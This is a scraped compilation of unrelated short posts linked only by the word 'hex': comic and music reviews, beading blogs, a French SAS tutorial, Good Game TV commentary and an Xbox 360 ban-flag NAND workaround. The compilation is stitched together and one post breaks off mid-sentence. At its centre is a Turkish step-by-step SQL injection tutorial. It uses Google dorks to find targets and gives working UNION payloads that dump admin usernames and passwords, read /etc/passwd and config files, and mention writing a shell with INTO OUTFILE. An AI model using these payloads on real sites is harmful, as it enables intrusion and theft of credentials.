by Matt Wagner (writer), Amy Reeder Hadley (pencils), Richard Friend (inks), Guy Major (colors), and Jared K. Fletcher (letters)

This is probably the best issue of Madame Xanadu in months.  Of course, this is thanks in no small part to the jaw-dropper ending.  I was absolutely stunned, as it was played and set up perfectly by Wagner.  It’s the return of an element we haven’t see in a very, very long time in the series and as such, it comes out of left field.  Even better is the fact that Wager is a master when it comes to his use of red herrings.  He’s so good at it that this month’s ending simply comes out of nowhere; it’s one of those rare cases where it’s jarring in a good way.  I absolutely cannot wait for next month’s issue.

Beyond that, this month essentially does everything that Madame Xanadu does well.  It’s full of that sense of dark whimsy that has made the series such a success.  As was the case last month, while Betty’s torments are clearly horrifying and while she certainly is a sympathetic figure, it’s all rendered with a kind of black humor.  That said, this month, when her curse reaches its apex, Wagner does a great job at portraying her desperation and emotion.  While the humor is still there, this month is heavier on the horror, as Betty begins to lose not just her appearance, but her personality.  Last month, we saw her physically becoming someone else and this month, we see the mental transition, which is unsettling.  That said, Wagner still manages this with a comic touch.

And that’s it really.  Wagner is able to portray what would be some gritty, dark stuff in an accessibly light-hearted fashion.  This month’s introduction of a mysterious satanic cult, for example, is hard not to read without a smile on your face, despite none of them actually cracking jokes or making pratfalls.  It’s purely a matter of tone and atmosphere, and a mark of Wagner’s ability.

Of course, this atmosphere is also thanks in no small part to Hadley.  The satanic cult is funny because Hadley makes them funny.  There’s also a very humorous scene involving Betty’s husband and his lecherous “Tuesday night” efforts that really is quite a laugh, largely thanks to Hadley’s excellent illustrations of Betty and her husband’s respective facial expressions.  All told, it’s just a beautiful book and I’m also happy to report that colorist Guy Major is back to his usual quality fare, as opposed to the insanely bright work we got last month.

This comic really was a pitch-perfect and an enjoyable experience throughout. It has everything that got Xanadu to the Eisners. Wagner scores high with what is by far the most enjoyable issue of Madame Xanadu in a very long time. The ending will have those who’ve been on-board from the start gasping.

Grade: A-

-Alex Evans

While my sewing mojo has left home with no forwarding address, I have managed to remain somewhat creative, which has helped my sanity as well as that of the rest of the household.   As they saying goes, “If Mom ain’t happy, ain’t nobody happy”.  Isn’t that the truth!

These are my interpretation of the beaded bows from the December issue of Bead & Button magazine.  I think they turned out rather well.  They’re made in sections, two upper bows, two lower dangles (or whatever you call the legs of a bow) and a piece to wrap around the middle, which hides all the attach-together stitching.  The instructions call for delicas, 11° and 10° hex beads and some teensy tiny 15°s to decorate the edges.  Umm, yeah.  Size 10 hex beads are really difficult to find, and when you do find them, their quality is not so good.  Still, I followed instructions for the first one. (Those who know me can stop laughing now.  I do follow instructions – sometimes!)

However, for the second one, I had the gist of the design, and went out on my own.  I skipped the delicas all togehter, and used regular seed beads.  Much easier to work with – probably helped that the red wasn’t silver lined.  Easier to see.  The only 10° hex in this piece is the silver.  I still had to cull them, to get enough of the right size, but it was easier.  The rest of the hex rows I used 8°s, which are much easier to find.  Those little silver dots on the edges are beads.  Very.   Tiny.  Beads.

These are both lapel pins.  I imagine you could attach a strap to them and use them as a necklace, but they are not very rigid.  The legs flop around a bit.  Flop.  One of those technical beading terms.

Three EP’s in an ambient, minimalist, folk setting. I know little about the band, except that supposedly Brian Eno and Robert Fripp (!) have both been involved in one way or other. The instrumentation is mainly various strings, various synthetic sounds, female vocals, and the occasional guitar. Together it sounds sublime, intoxicating, and mesmerisingly mysterious.

I must admit that I am occasionally bored with minimalist ambient music, but Fovea Hex manages to keep the interest of the listener with protuberant vocals and layered folk melodies. Unlike certain other minimalist artists the result even feels deep and thought provoking. After request the download has been removed, but  the music can be previewed on their website, where also FLAC or MP3 can be purchased. Like everything I’ll promote on this site, it is highly recommended.

Website
Last.fm
(Download removed upon request)

#22

Robotic Villain

He’s the HeXagonal, HeXidecimal anti-HeRo.

HeXit is a robot villain from one of my stories, Marvel may have Carte Blanche on all the X titles, but this robot is no puny mutant.

I created this brief montage to add a pinch of awareness to the Youtube cesspool regarding the under-recognized Hellenic Genocide. From the album Defixiones by Diamanda Galas, “Orders From The Dead” is a call to remember and to recognize these persecutions. “DEFIXIONES” refers to the warnings which were placed on  graves  in Greece and Asia Minor. They cautioned against moving or desecrating the corpses under threat of extreme harm. They were a hex, a curse and a call from the souls of those who were deemed unworthy of grace. In a world where much of our struggles are influenced by cultural and religious fundamentalism – Defixiones could not be more relevant.

[Incudie] tipped us off about a method to fix a borked HDD in your Xbox 360. Many of the one million consoles banned earlier in the month also had the hard disks scrambled making off-line gaming impossible as well. It turns out that this is caused by having a ban flag in the NAND chip on the motherboard. It has been discovered that because of wear levelling, the NAND will have two copies of the “secdata.bin” file which stores the ban flag. Please note, this will NOT allow the console to use Xbox Live, it just re-enables the HDD.

The quick and dirty of the fix is as follows: First the NAND is dumped from your Xbox 360 to a computer. After verifying the file, it can be opened in a HEX editor and the two copies of “secdata.bin” located. Once identified by date, the older version is injected on top of the newer to overwrite the ban flag.

Looks like this is not for the faint of heart, but if you got banned for modding in the first place this should be easy to pull off.

Update: Looks like xbox-scene now has a collection of apps to help you with this process. [Thanks CollinstheClown]

This is a utility that I wrote that can be used to convert hex to text and text to hex. Simply enter the hex into the top textbox or the text into the bottom textbox and click the corresponding button!

Screenshot (click the image to enlarge it):

Download Link:

My sewing mojo is still gone, having left home with no forwarding address.  I keep wanting to do something creative with my hands, but have no incentive or staying power for sewing.  It’s driving me completely insane!

To help combat this creative malaise, I’ve gotten out the beads, deciding to work up a project from the most recent Bead & Button magazine.  I have a friend whose favorite color is lime green (not the previously mentioned niece).  If this turns out, it will be a nice Christmas present for her.

The piece with the dangling threads is 1/4 of a beaded bow.  Two upper loops, two lower loops, attach in the middle and add a pin on the back.  I promise, pictures when it’s finished!

Oh, and the cable bit in the title – while that looks like thread holding the beads together, it is actually Fireline.  Fireline is a very thin coated cable used for fly fishing.  Available at most sporting goods stores, Fireline has taken the beading world by storm.  It’s very appropriate for use with crystals and rough glass beads – ones where the edges are sharp, and likely to cut through regular nylon (Nymo, Sono) thread.

This piece is using hex beads, which have that sharp edge, so it’s needle and cable as my creative outlet.  If anyone sees my sewing mojo, please send it home!

Maximus Cat, On Top of the World!

Lors de l’importation de données d’un fichier Excel, il est fréquent d’importer au passage des caractères spéciaux non visible au premier coup d’œil. Par exemple, on peut trouver des blancs représentés en valeur hexadécimale par le code 20. Certains de ses caractères ressemblent à des blancs mais n’en sont pas. Ils ne disparaîtront donc pas avec une fonction COMPRESS sans troisième paramètre. La valeur hexadécimale de ces caractères est par contre une valeur lisible.

Voici comment afficher votre texte en valeur hexadécimale et ce dans la log ?

1. Illustration du problème

Dans cet exemple, une variable WEBISTE de longueur 25 est présente dans la table HEXFMT. Cette variable contient une observation www.sasreference.fr entourée d’un blanc avant et d’un blanc après. Cette valeur est créée ici au moyen de la fonction CAT.

Pour voir la différence entre la valeur de WEBSITE avec et sans un simple COMPRESS, une seconde variable EQUAL indique la valeur YES si les deux résultats sont identiques, NO sinon.

data hexfmt;
length website $25 equal $3;
website=cat(‘20′x,‘www.sasreference.fr’,‘20′x);
if website=compress(website) then equal=‘Yes’;
else equal=‘No’;
run;

proc print data=hexfmt;
run;

2. Voir les caractères hexadécimaux avec le format HEX

Ici, je vous propose de voir la valeur de la variable WEBSITE au moyen de l’instruction PUT. Il est possible de voir la valeur formatée plutôt que la valeur brute en faisant suivre la variable d’un format. Le format ici sera HEXw. où w est un nombre idéalement de la longueur de la variable fois deux. En effet, les caractères hexadécimaux sont toujours de longueur deux. Si votre texte est de longueur 25, il faudra 50 caractères pour l’afficher en valeur hexadécimale.

data hexfmt;
length website $25;
website=cat(‘20′x,‘www.sasreference.fr’,‘20′x);
put website= hex50.;
run;

proc print data=hexfmt;
run;

Dans le résultat qui suit, on voit donc le premier caractère de l’observation de WEBSITE a pour code 20. Le second caractère est la lettre W représentée par le code 77, et ainsi de suite.

Lecture complémentaire

• Remplacer un mot par un autre : la fonction TRANWRD

Just downloaded this app the other day and it’s a neat little color picking app where u can use a color wheel to pick colors, choose a set of colors for a theme and save them.

I just downloaded the latest update which has new color palettes, now you have 3 options, True colors, Websafe and X11. The update also has Photo color picker which could come in very handy

I’ve uploaded some screenshots from the app

Got rid of the beard this morning (although my sideburns are mysteriously bigger than previously…).  AmberG this morning looked at me with narrowed eyes for a couple of seconds and rubbed my cheeks anyway – just to check.

Millie was very very tired this morning – probably from where she woke up crying a couple of times last night; I had to sit and stroke her head till she went back to sleep.  This morning while I was in the shower she walked into the bathroom to ask if she could put on some music to relax to.  Five minutes later I found her in my bedroom listening to Bark Psychosis (which I suppose is quite relaxing, but also quite dark), having turned the computer on, opened foobar2000 and started music playing all by herself.

Anyway, ignoring the usual requests for Buffalo Soldier (but, strangely, not for Mama Mia, her favourite song by a country mile lately) I put on this -

- Saint-Saens’ Aquarium from Carnival Of The Animals, which Millie’s never heard before, but which she quickly described as “like somebody running up and down the stairs in a scary castle” and asked me to play it again.

I know she’s my daughter so I naturally think she’s the cleverest child that has ever existed in the history of humankind ever, but I thought that showed a fair bit of imagination for a four-year-old.

She takes after her dad, that one.

Don’t you love it when you’re shopping for clothes and everything you try on is awful (well no, that part sucks quite horribly), but putting on your own outfit again brings instant joy because you’re still as mad about it as the day you bought it?  Well returning to this blog is much like that.  And it damn well better be after all the precious time I spent trying on all the other themes only to be disappointed by their lack of versatility.  This theme “vigilance” is just grand.  I was able to pop in a pic taken earlier this year in Addo (where there were far too few actual Elephants to photograph!)  And then on top of it I had the much appreciated freedom to colour co-ordinate it all myself…with…what must i use?  Hex colours?  Now what’s that supposed to mean? Being more of the hands on ’stain your fingernails with oils’ kinda artist versus the ‘clicking away at pixels’ variety, well that term meant sweet bugger-all to me.  No matter – instant knowledge is at hand.  And after a briefly infuriating browsing session, where I opened site upon site of horrific neon swatches, I sought out this gorgeous little beast of a page : http://www.2createawebsite.com/build/hex-colors.html which resembles my high school colour wheel with far more accuracy.   It also gives the hex code and has a nifty little  complimentary hues function.  Nice one!  I hope it is of use to some other old school artists out there

S.a Arkadaşlar

Bugun sizl3rl3 son g3lişm3l3r ışığında sql İnj3ction (Mysql) konusunu 3l3 alacağız. Bu günl3rd3 vid3o olarak fazla mat3ryali bulunsa da makal3 ş3kliyl3 y3t3rinc3 d3ğinilm3miş olduğunu fark 3ttim v3 bu anlatımı yapmak ist3dim. İç3rik olarak biraz uzun bir yazı olabilir ancak birçok kişiy3 faydalı olacağı kanaatind3yim.

sql İnj3ction n3dir ?
sql Inj3ction k3lim3 manasıyla da anlaşılabil3c3ği gibi sql sorgularının arasına dışarıdan zararlı v3ri 3kl3m3 işl3min3 v3ril3n isimdir. Dinamik w3b uygulamalarında bir v3ritabanı v3 o v3ritabanı üz3rind3 çalışan sql sorguları vardır. Bu sorgular masum amaçlı bir v3ya bird3n fazla tablodan v3ril3r ç3k3r3k 3tkil3şimi sağlamayı amaçlamaktadır. Ama dışarıdaki kullanıcının uygulamaya g3l3n girdil3r3 zararlı v3ri karıştırması sonucu masum sorgularımız korkunç bir faciaya s3b3p olurlar.

Mysql N3dir N3 iş3 Yarar?
Mysql şu anda int3rn3tt3ki 3n popül3r açık kaynak kodlu v3ritabanı yazılımıdır. Tüm v3ril3ri t3k bir ambara yığmak y3rin3 farklı tablolarda v3 v3ritabanlarında düz3nli bir biçimd3 saklamaya yarayan d3polama alanıdır.

sql İnj3ction Bulmada kullanılan G3r3çl3r N3l3rdir ?
sql inj3ction w3b sit3l3ri üz3rind3 3xplor3r vb. w3b tarayacılar kullanılarak bulunabildiği gibi ç3şitli programlama dill3ri il3 yazılmış (p3rl, python, C++, d3lphi vs.) hazır programlarla da bulunabilinir.

N3r3l3rd3 Aranır ?
İd d3ğişk3nl3rin bulunduğu bölg3l3rd3
Arama sayfalarında
Admin v3 us3r giriş pan3ll3rind3
Zayıf s3o uygulamalarında
G3t v3 post m3thodu kullanılmış sayfalarda

injectionda Ençok Kullanılan Komutlar Nelerdir ?
Union all select kolon sayısı veya union select kolon sayısı (verileri çekmede kullanılır)
Group_concat() (Tablo isimlerini tek seferde toplu olarak çekmede kullanılır)
Concat() (Tablo isimlerini tek tek çekmede kullanılır)
Load_file() (/etc/passwd ve diğer site dosyalarını okumada kullanılır)
İnto outfile ( Siteye dışarıdan dosya yüklemede kullanılır)
İnto dumpfile ( Siteye dışarıdan dosya yüklemede kullanılır)
İnformation_schema.schemata (Veritabanlarının adını görmek için kullanılır)
İnformation_schema.schema (Veritabanının adını görmek için kullanılır)
İnformation_schema.tables (Veritabanındaki tablo isimlerini görmek için kullanılır)
İnformation_schema.columns (Veritabanındaki tabloların içindeki kolonların isimlerini görmek için kullanılır)
Limit 1,1 (Veritabanı, tablo ve kolonlarını sırasıyla listelemek için kullanılır)
Like % aranacak kelime % ( Tablo içinde arama yapmaya yarar)
Char() (magic_quotes in açık olduğu ve tırnak kabul etmediği zamanlarda kullanılır)
Unhex ve Hex (magic_quotes in açık olduğu ve tırnak kabul etmediği zamanlarda kullanılır)

İnjectiona başlangıç :
Öncelikle site açığı bulabilmek için google veya benzeri bir arama motorundan çeşitli parametreler girerek istediğimiz gibi bir site buluyoruz.

Örneğin googleye girip arama kısmına “inurl:article.php?id=” giriyoruz. Karşımıza çıkan sayfalardan birine girelim.

www.hedefsite.com/article.php?id=15

Girdiğimiz sitenin adresi bu şekilde olduğunu farz ediyorum ve devam ediyoruz. Bu sayfada sql açığı olup olmadığını birkaç şekilde anlamamız mümkün.

1.) Sayfanın en sonuna ‘a (tırnak işareti veya yanında bir harf) yaparak sayfaya hata verdirtmeye çalışırız. Magic_quotes açıksa sayfada hata almazsınız.
Not: PHP 6.0’dan itibaren magic_quotes kullanılmayacak

2.) And 1=1 ve and 1=0 sıfır kullanarak sayfada bir değişiklik olup olmadığını gözlemlersiniz. Eğer sayfanın şekli değişirse muhtemelen açık vardır.

Biz burada 2. şıkkı deneyerek devam edelim.

www.hedefsite.com/article.php?id=15 and 1=0 sayfa hata veriri yada içeriği yok olur.
www.hedefsite.com/article.php?id=15 and 1=1 sayfa olması gerektiği gibi çıkar.

Evet sitede sql açığı var. Şimdi sql açığını uygulamadan önce kolon sayısını tutturmamız gerekiyor. Bunun için; “group by rakam” veya “order by rakam” ifadelerini kullanarak kolon sayılarını bulalım.

Burada yapmamız gereken olay şudur. Hata veren sayfa ile hata vermeyen sayfanın tam yerini tespit etmek. Örneğin group by 15 yaptığınızda hata yokken group by 16 yaptığınızda hata varsa kolon sayımız 15 dir. Hata veren sayının bir öncesi kolon sayımızı verir..

www.hedefsite.com/article.php?id=15 group by 20– Hata verdi veya sayfa görünümü bozuldu
www.hedefsite.com/article.php?id=15 group by 12– Hata devam ediyor www.hedefsite.com/article.php?id=15 group by 3– Sayfa Normal Çıktı
www.hedefsite.com/article.php?id=15 group by 5– Sayfa Hata verdi
www.hedefsite.com/article.php?id=15 group by 4– Sayfa Normal Çıktı

Kolon sayımız : 4

www.hedefsite.com/article.php?id=15+union+select+1,2,3,4–

Son kısımda kullandığım işaret (–) sonlandırma işaretidir. Bazen o işareti koyduğunuzda hata alırsınız bazen koymadığınız zaman. Sitenin durumuna göre koyup koymamak size kalmış.

Materyaller :
Union: Birden fazla sayıdaki tablolardan veri çekmeye yarayan bir sql operatörüdür.
Select : Tablolardaki alanları listelemek için kullanılan komuttur.
Where: Veriler arasında çeşitli kriterlere göre sorgu yapma yarar

www.hedefsite.com/article.php?id=15+union+select+1,2,3,4–

Yukarıdaki şekilde yazdığınızda sayfa görünür hale gelir. Ancak bizim istediğimiz girdiğimiz kolon sayılarının ekrana yansımasıdır. Bunu sağlamak için sitede olmayan bir id numarası girmeliyiz veya id değişkenin önüne – işareti koyarak istediğimiz sayfa şekline ulaşırız..

www.hedefsite.com/article.php?id=-15+union+select+1,2,3,4–

Yukarıdaki şekli elde ettikten sonra ekrana yansıyan rakamlar yerine sql sorguları yaparak hedefimize ulaşmaya çalışırız.

Mysqlin genelde 2 çeşit versiyonu kullanılır. 4 versiyonu ve 5 versiyonu Bunlar birbirinden oldukça farklıdır diyebiliriz. 4 versiyonlar da tablo ve kolonlar deneme yanılma yöntemi ile bulunabilirken 5 versiyonun da sql sorgularıyla tüm bilgilere ulaşabiliriz.

Mysql de verilerin depolandığı sistem tabloları mevcuttur. Bunların içinde en çok kullandığımız information_schema ile başlayan ve schemata, schema, tables , columns vs gibi alt değerleri içinde barındıran sistem tablosudur.

Bizim sitemizdeki mysqlin 5 versiyonu olsun ve devam edelim..

Site sayfasında 2 – 4 ve 8 görünüyor olsun ve biz 2 rakamının yerine sql kodlarımızı yazalım.

www.hedefsite.com/article.php?id=-15+union+select+1,group_concat(table_name),3,4 +from+information_schema.tables–

Bu girmiş olduğumuz istekle veritabanındaki tabloları group_concat kullanarak toplu olarak göstermesini istiyoruz. Karşımıza veritabanındaki tablolar çıkar ancak sistem tablolarıda çıkmıştır. Onların görünmemesi için;

www.hedefsite.com/article.php?id=-15+union+select+1,group_concat(table_name),3,4+from+information_schema.tables +where+table_schema=database()–

giriyoruz. Böylece sitenin veritabanındaki site ile ilgili tablolara ulaşırız. Bu tabloların içinden bumlamamız gereken tablo admin yada kullanıcıların kaydedildiği tablo adıdır.
Admin – users – siteadmin – settings – adminuser vb isimlerde olabilir.

Bizim sitemizde adminuser çıksın ve onun üzerinden işleme devam edelim.

www.hedefsite.com/article.php?id=-15+union+select+1,group_concat(column_name),3,4+from+information_schema.columns +where+table_name=’adminuser’–

Bu yukarıda girdiğimiz sorguyla adminuser tablosundaki kolonları göster demiş oluyoruz.. Eğer sayfa hata verir ve bize bir şey göstermiyorsa sebebi adminuser tablosunun iki tarafına koyduğumuz tırnak işaretindendir. Böyle durumlarda adminuseri char() fonksiyonunu kullanarak çevirmeli ve tırnaklardan kurtulmalıyız.

Tablo isimlerini char() a çevirmek için http://www.easycalculation.com/ascii-hex.php sitesinden faydalanabilirsiniz..

www.hedefsite.com/article.php?id=-15+union+select+1,group_concat(column_name),3,4+from+information_schema.columns +where+table_name=CHAR(97,100,109,105,110,117,115,101,114)–

Evet sitemizde adminuser tablosunun içindeki kolon isimleri çıkmış olmalı..
İd – username – password – mail vb. şekillerde..

Şimdi sorgumuzu bu elde etmiş olduğumuz bilgileri kullanarak değiştirip gerekli kullanıcı adı ve şifrelerini elde edelim.

www.hedefsite.com/article.php?id=-15+union+select+1,group_concat(id,0×3a,username,0×3a,password,0×3a,mail),3,4+from+adminuser–

Burada kullandığımız 0×3a hex stringi olup açılımı : (iki nokta üst üste) demektir.

Bu şekliyle kullanıcı ve şifreleri toplu halde görünür. Dilerseniz tek tek id numaralarına görede bakabilirsiniz.

www.hedefsite.com/article.php?id=-15+union+select+1,concat(id,0×3a,username,0×3a,password,0×3a,mail),3,4+from+adminuser+where+id=1–

Bu yaptığımız işlemler sonucunda sayfaya yansıyan kullanıcı adı ve şifrelerini kullanarak siteye admin girişi yapmamız mümkündür.

Diğer Fonksiyonlara Örnekler:

Local File Inclusion : Dosya dahil etme anlamına gelir. Serverdeki dosyaları bu açıkla oyuyabiliriz

Kullanımı :

www.hedefsite.com/article.php?id=-15+union+select+1,load_file(‘/etc/passwd’),3,4,5,6,7,8,9,10,11,12,13,14,15–

Sonuç :
root:x:0:0:root:/root:/bin/tcsh
hacksever:x:1:1:hacksever:/usr/sbin:/bin/sh
deneme:x:2:2:deneme:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh

Şeklinde serverdeki kullanıcı isimleri ve yetkilerine ulaşılabiliriz.

Yada

www.hedefsite.com/article.php?id=-15+union+select+1,load_file(‘/home/hedefsite/public_html/config.php’),3,4–

Sonuç:

$host = “localhost”;
$k_adi = “hacksever”;
$sifre = “1111122222″;
$db = “hack_db”;

Server yolunu ve dosyasını göstererek php dosyası içindeki kodları ekrana yansıtarak mysql bağlantı bilgilerine ulaşabiliriz.

Kodun çalışmaması durumlarda server uzantısının tamamı hex e çevrilip tırnak işaretlerinden kurtulmak gereklidir.

/etc/passwd in hexe dönüşmüş hali :

www.hedefsite.com/article.php?id=-15+union+select+1,load_file(0×2f6574632f706173737764),3,4–

İnto+outfile ve into dumpfile:
Dışarıdan dosya dahil etmeye yarar. Server uzantısı bilinen sitede güvenlik açığı oluşturacak bir dosya dahil edilip shell kullanarak siteye girmek için kullanılabilinir.

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This is part 4 of my Web Feature Portfolio for Writing and Editing for Digital Media. My articles are for ‘the Australian online magazine of culture and the popular arts’, The Enthusiast. My fourth and final article is a feature for their ‘TV’ category.

When casual fans tuned in to ABC’s Good Game several weeks ago, they may have been a little confused. The video game programme’s co-founder and co-host, Junglist (Jeremy Ray), was gone. In his place was a new host, Hex (Stephanie Bendixsen). It was only at the episode’s end that a quick farewell was given to Junglist, without further explanation. Casual fans may have been somewhat perturbed and puzzled by Junglist’s abrupt mid-season disappearance. But for the hardcore Good Game fans, an uproar had already begun.

Three days before the show aired, the decision was announced via an impersonal press release on the Good Game forums, followed by numerous posts back and forth, and finally a slightly more personal follow-up announcement nearly a week later. The lack of openness was galling enough, considering this is a show tagged as being “by gamers, for gamers”. But then Junglist commented on the forums that lies were circulating, only part of the story was being told, and in fact, his axing was forced on him from above, in a stated effort to gain “mass appeal” through a female presenter. Apparently, Junglist had also been contesting the lack of time allotted for reviewing games, or had ‘performance issues’, depending on who you listen to.

The story spread, with articles from gaming websites, mainstream commercial media and the ABC itself. Everyone had their side of the story (as far as possible within confidentiality agreements) and fans voiced their opinions at every opportunity. Amid the secrecy, speculation and internet chatter, the truth is elusive. Of course, a website was also created to redress the problem, or just provide a gathering place of support. In the end, the main issue is that ABC management made another bungle in their handling of this and they neglected their established fanbase. A familiar name shares the blame: Head of Arts and Entertainment, Amanda Duthie, the same woman dumped as Head of Comedy after she gave that Chaser sketch the green light.

Still, the ire has died down somewhat. Hex has been on for three weeks and after a bumpy start, it looks like there may be hope for the show yet. It’s just a shame they chose two ‘casual’ gamers, and removed the differing perspective of an established ‘hardcore’ gamer. This week marked the first time Hex and Bajo even had a significant disagreement about a game; even they felt it was noticeable enough to point out. Bajo and Hex would have been perfect for the upcoming children’s version of the programme, Good Game: SP on ABC3, with Junglist and Bajo remaining for the original and its subsequent increase in ‘mature’ content. Instead, we’ll have to wait and see how it all progresses, and whether ABC has learnt their lesson and will listen to the show’s fans, or at least talk openly with them, before any other drastic decisions are made.

Still, the show is worth watching. Whether you’re a casual gamer, semi-fanatic, or even a non-gamer, there’s plenty to keep you interested. Bajo and Hex even live-tweet the show as it airs every week on ABC2. For anyone who wants an idea of the show, a fond reminder of things past, or, just maybe, a sample of the madcap antics and nerdy enthusiasm that the show could reach again soon, there’s this lovingly made video montage: a tribute to Junglist and the show he helped to create.

Have You Seen Smallville: Season 8 Episode 17 – Hex?

Episode Synopsis:

Reflecting on her status in life, Chloe finds that she’s not all what she dreamed of becoming, so when a magician asks her to make a wish, little did she dream of it coming true…becoming Lois.

So what do you think of this episode?

If you missed it, you can watch it here.

So, your an IM freak. Wasting day after day, month after month in front of your PC screen assuming: “yeah, surely I’m not a zombie, at least I’m communicating with other living things, right?”. Well, your wrong. You are a zombie and you will die alone. But we’ll discuss that subject some other time. Right now we are here to show you the best 5 ways to coolify your name i.e. your IM/social media display name. We’ll assume that you’ve already tried putting smileys or hearts or some other dumb bullshit in your display name, or if you’re really hardcore you’ve already tired the fishes (example: <º))))><.·´¯`·John Smith·´¯`·.¸><((((º>) or some other poorly creative ASCII combination thinking “that’s the one, now I’m unique”. Well, you’re wrong again, you’re not unique, and you probably never will be. But no worries, we’re here to help and give you that conversation starting nick, bringin’ lots of them “d00d, WTF is that?”. So lets start from the top saying a few words about what ASCII is. ASCII (American Standard Code for Information Interchange) is a 7-bit representation of the English alphabet widely used in information technology and the world wide web until recently when it started to get replaced by the UTF-8 witch is an improved character encoding technique. We are saying this because when you try to convert a Chinese letter into something else and you get an error you won’t bitch about it. Instead you’ll know that most of the converters work only with the 128 ASCII characters and you’ll feel less dumb. But enough about character encoding techniques. Lets start the countdown. There are many converters, generators, translators, encoders and such out there, but very few of them are actually good and usable. So we’ve made this list to help you create that unique display name that you’ve always wanted without having to browse the web for days searching for the method that’s right for you.
*The crappy fish and other presumably cool looking ASCII combinations can be found here.

1. Binary code
-The binary code is a text representing system using only the digits “1″ and “0″. It can also represent processor instructions but we’re not interested in that. We’re only interested in what you can do with it in terms of encoding text. The answer is plenty. Like in the picture shown bellow you can encode your name into binary code making it readable for only a small number of people out there. So when your IM contacts see that long string of ones and zeroes sitting in the place of your dull name they are bound to ask “what the hell man?”. The best binary translators we could find out there are the following:
ASCII 2 binary #1 ASCII 2 binary #2
*Be careful not to leave spaces in the binary code or some translators will not work.
*The second translator works with spaces in the code, but the first one doesn’t so you’ll need to remove them before converting.

*For accurate conversion of numbers from decimal to binary use this converter and not the two mentioned above. Decimal 2 binary

2. Hex code
-If the binary code isn’t strong enough for you, you could try the hexadecimal one. Instead of only 2 symbols the motherfucker uses sixteen distinct symbols for representation. It uses the numbers from 0-9 and the letters from A-F to represent the values ten to fifteen. If you thought math was hard, try doing it in hex. A+C=WTF? Because hex code scares us a little bit we’re not going to say anything else about it, instead we’ll only give you the hex generators and leave you with a warning. DON’T TRY TO UNDERSTAND HEX OR YOU’LL DIE!!!
ASCII 2 hex #1 ASCII 2 hex #2

*For accurate conversion of numbers from decimal to hexadecimal use this converter and not the two mentioned above. Decimal to hex

3. Morse code
-If you wanna kick it old school we recommend the Morse code. All of us have heard about it, and we all know that it represents the characters with dots “.” and dashes “-”. The short and long elements can also be presented in a form of sound, light, etc. But since most of us have never been in the navy, we have no clue in understanding it or how to use it. Fortunately the internet is here to help, giving us the opportunity to create or decode Morse code. The first and third Morse generators give us the option to create and download not only the visual representation shown in dots an dashes but the audio one also. That’s pretty useless when you’re trying to change your display name, but it can be used as a pretty sweet ring tone or an alarm or something that will beep the fuck of your friends.
ASCII 2 Morse #1 ASCII 2 Morse #2 ASCII 2 Morse #3
*The Morse code doesn’t support lower case letters, so everything that you decode will be shown in upper case, regardless of the way it was originally encoded (lower or upper case).

4. Barcode
-This way of generating text or other stuff also is useless in terms with your display name because the end result of the generator will be a image and not a string of text that you could use as a nick. But it could make you a great avatar, or a cell phone background or such which will distinguish you from the rest. Just don’t tattoo the barcode on yourself because you’ll eventually regret it, and you’ll look like a douche. You’ve been warned.
ASCII 2 barcode #1 ASCII 2 barcode #2 ASCII 2 barcode #3
*We recommend the code 128 because it supports letters and digits, and because it’s the most barcody looking.

5. L33t
-This isn’t an actual language, so it doesn’t have strict rules in regards with it’s creating and it’s interpretation. There are many variants of leet so the translation from leet to plane English isn’t always correct. Also there are many forms of leetness starting from plain leet and going to advanced leet which like the binary code can be fully understood by very few people. These are the best leet translators and generators that we could find, but unlike the other translators mentioned earlier these three aren’t compatible with each other. In other words, something that has been translated into leet in one translator can’t be translated back into plain English in an other. That’s because leet isn’t an actual language, like we mentioned earlier. So if you’re a hardcore nerd you won’t need these three translators. And for the rest of you boys and girls out there… go nuts…
ASCII 2 leet #1 ASCII 2 leet #2 ASCII 2 leet #3

-There are probably a lot more useful ways of using the knowledge you’ve gained today but because we know that you won’t, at least get a nice display name out of it, or a badass avatar or a not-so-gangsta ring tone or whatever.

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Alas it be that time again, there has been many a development in the past week or so in reference to this which shine a little more light on what could be the ‘real’ reason for Jeremys departure. As endgame approaches (end of his contract, maybe it’s already over? If so I’ll buy him some complimentary hookers and blow) we are more resolute and less reliant on prescription drugs to fuel our angry rants. The situation is still totally ‘Bogus’. But enough about me. I apologise for the time period, I’ve been addicted to Dragon Age. Only today did I finally complete everything in the entire game (pretty much) so I have had time to write.

I shall start with what appears to be a peace offering from the GG team extended toward me personally. I recieved an email a few days ago from Janet Carr offering me the opportunity to go see how the show is made in Sydney. They were NOT going to fly me (rumour mill goes a-changin’) and I declined due to my location. I live in Geelong, you think I’m a millionaire? Well only in Tijuana. This changed the offer for a chance to meet them in Melbourne for the Game Connect Asia Pacific conference. Being the guy who loves free stuff that I am (as well as getting the opportunity to meet people from the forums who owe me a drink. I think you know who you are. I never forgive, I never forget.) I am of course bound to accept. But hey, if you are in Melbourne and attending then feel free to say hi. I’ll be the dude with the long blonde hair. You’ll know. No I don’t sell drugs to schoolchildren. Not often anyway.

But lets get started shall we. Warning : Contains alot of quotes. Arrrrg.

The following post is a response to a thread entitled “Why can’t GG have three hosts?”. It concerns GG’s production. It may have a few clues.

@clemboy

GG’s weekly production schedule is tight there’s no doubt about that.

Every week is slightly different depending on whether there’s a developer in town or something but in general most weeks go like this:

Monday – Studio day – shoot all links/reviews etc for the following Monday’s show. Gog does all the online stuff for the show going to air that night. Set up forums etc. Try to be on couch by 8.30.

Tuesday – News/Backwards Compatible/Ask Good Game shoot day. Often this only requires one presenter and we try to keep it to that whenever possible – ie if its Bajo’s news he’ll do the BC too etc. We also attempt to make it that the person with the biggest/longest game to review that week is not required to come to do the news etc giving them an extra review day (not always possible.)

Wed – Game Review day unless the presenters are required for a shoot. Most often not as Rei does most of the “field” reports. Shoot day for Rei and Moe. Office/prep/edit day for Syd, Gog and the rest of the gang.

Thurs – Game review/write/capture day for hosts. Final Edit etc for rest of us for following weeks episode.

Friday – midday. Production meeting outlining next weeks production followed by script read of reviews and other links. 2pm Final sound mix of following weeks show. Friday arvo – changes to scripts, rehearsal for Monday’s shoot…off to the pub.

I’d be lying if I didn’t acknowledge that everyone on the team puts in many hours of their own time. This weekend alone Bajo is lost to Dragon Age, Hex is stabbing her way through Assassins Creed II, Jeremy Pencil has New Super Mario Bros. Wii and I’m on XBLA game duty.

Cheers,

Syd

If I was in Sydney, I’d no doubt get to see this in action. Seems relatively harmless enough. Likely due in a response to claims Junglist said of only having aday to review. Now we know for sure that Junglist wasn’t fired for disagreeing with how the show was made. Oh wait, whats that? Oh shi——

I'm a sucker for the cheap easy to make pictures.

